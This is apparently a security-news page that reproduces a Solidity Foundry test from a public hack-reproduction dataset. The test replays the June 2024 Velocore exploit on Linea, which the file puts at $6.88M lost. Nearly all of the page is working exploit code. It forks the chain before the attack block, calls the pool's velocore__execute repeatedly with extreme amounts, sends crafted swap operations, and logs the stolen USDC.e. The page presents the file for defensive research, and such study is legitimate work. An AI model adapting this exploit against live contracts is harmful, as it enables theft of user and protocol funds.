Skip to content
THREATWIRE

Public reproduction file

src/test/2024-06/Velocore_exp.sol

Public reproduction file for dataset entry VeloCore.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-06/Velocore_exp.sol158 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : $6.88M
8// Attack Tx : https://lineascan.build/tx/0xed11d5b013bf3296b1507da38b7bcb97845dd037d33d3d1b0c5e763889cdbed1
9// Attacker Address : https://lineascan.build/address/0x8cdc37ed79c5ef116b9dc2a53cb86acaca3716bf
10// Attack Contract : https://lineascan.build/address/0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a
12// @Analysis: https://x.com/BeosinAlert/status/1797247874528645333
14interface ConstantProductPool {
15 type Token is bytes32;
17 function velocore__execute(
18 address,
19 bytes32[] calldata tokens,
20 int128[] memory r,
21 bytes calldata data
22 ) external returns (int128[] memory, int128[] memory);
24 function totalSupply() external view returns (uint256);
26 function poolBalances() external view returns (uint256[] memory);
29struct VelocoreOperation {
30 bytes32 poolId;
31 bytes32[] tokenInformations;
32 bytes data;
35interface SwapFacet {
36 type Token is bytes32;
38 function execute(
39 bytes32[] memory tokens,
40 int128[] memory deposit,
41 VelocoreOperation[] memory ops
42 ) external payable;
45contract ContractTest is Test {
46 type Token is bytes32;
48 address USDC_ETH_VLP = 0xe2c67A9B15e9E7FF8A9Cb0dFb8feE5609923E5DB;
50 address swapfacet = 0x1d0188c4B276A09366D05d6Be06aF61a73bC7535;
52 address USDC_e = 0x176211869cA2b568f2A7D4EE941E073a821EE1ff;
54 bytes32 USDC_e_bytes32 = 0x000000000000000000000000176211869ca2b568f2a7d4ee941e073a821ee1ff;
56 bytes32 ETH_bytes32 = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
58 bytes32 USDC_ETH_VLP_bytes32 = 0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db;
60 function setUp() public {
61 vm.createSelectFork("linea", 5_079_177 - 1);
62 }
64 function testExploit() public {
65 // 1. Check the total Supply Before Attack of VLP
66 uint256 totalSupplyBeforeAttack = ConstantProductPool(USDC_ETH_VLP).totalSupply();
68 // console.log("total Supply Before Attack:", totalSupplyBeforeAttack);
70 // 2. Call velocore__execute function three times with same parameters
72 bytes32[] memory tokens = new bytes32[](2);
74 tokens[0] = USDC_e_bytes32;
75 tokens[1] = USDC_ETH_VLP_bytes32;
77 int128[] memory amounts = new int128[](2);
79 amounts[0] = 170_141_183_460_469_231_731_687_303_715_884_105_727;
80 amounts[1] = 8_616_292_632_827_688;
82 ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
84 ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
86 ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
88 // 3. Check the balance of USDC_ETH_VLP
90 uint256[] memory a = ConstantProductPool(USDC_ETH_VLP).poolBalances();
92 // 4. Call Valut.SwapFacet execute function with 4 ops
94 bytes32[] memory tokenRef = new bytes32[](3);
96 tokenRef[0] = USDC_e_bytes32;
98 tokenRef[1] = ETH_bytes32;
100 tokenRef[2] = USDC_ETH_VLP_bytes32;
102 int128[] memory deposit = new int128[](3);
104 deposit[0] = 0;
105 deposit[1] = 0;
106 deposit[2] = 0;
108 VelocoreOperation[] memory ops = new VelocoreOperation[](4);
110 ops[0].poolId = USDC_ETH_VLP_bytes32;
112 ops[0].tokenInformations = new bytes32[](3);
114 ops[0].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffff787406ca5f;
115 ops[0].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
116 ops[0].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
117 ops[0].data = "";
119 ops[1].poolId = USDC_ETH_VLP_bytes32;
121 ops[1].tokenInformations = new bytes32[](3);
123 ops[1].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffd4a0022c4;
124 ops[1].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
125 ops[1].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
126 ops[1].data = "";
128 ops[2].poolId = USDC_ETH_VLP_bytes32;
130 ops[2].tokenInformations = new bytes32[](3);
132 ops[2].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffff21eb904;
133 ops[2].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
134 ops[2].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
135 ops[2].data = "";
137 ops[3].poolId = USDC_ETH_VLP_bytes32;
139 ops[3].tokenInformations = new bytes32[](2);
141 ops[3].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffd8f0;
142 ops[3].tokenInformations[1] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
144 ops[3].data = "";
146 SwapFacet(swapfacet).execute(tokenRef, deposit, ops);
148 // 5. Check the profit after attack
150 uint256 usdc_e_balance = IERC20(USDC_e).balanceOf(address(this));
152 console.log("---------------------------------------------------");
153 console.log("USDC_e profit after attack: $", usdc_e_balance / 10 ** 6);
154 console.log("---------------------------------------------------");
155 }
157 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “VeloCore” (2024-06-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8cdc37ed79c5ef116b9dc2a53cb86acaca3716bf

  • Attack Contract

    0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a

  • Attack Tx

    0xed11d5b013bf3296b1507da38b7bcb97845dd037d33d3d1b0c5e763889cdbed1

File record

Name
VeloCore
Path
src/test/2024-06/Velocore_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6ef5619df19515edfd86603e0e2a44bae4797bc9
Language
Solidity
Size
159 lines
Date
2024-06-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-06/Velocore_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6ef5619df19515edfd86603e0e2a44bae4797bc9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.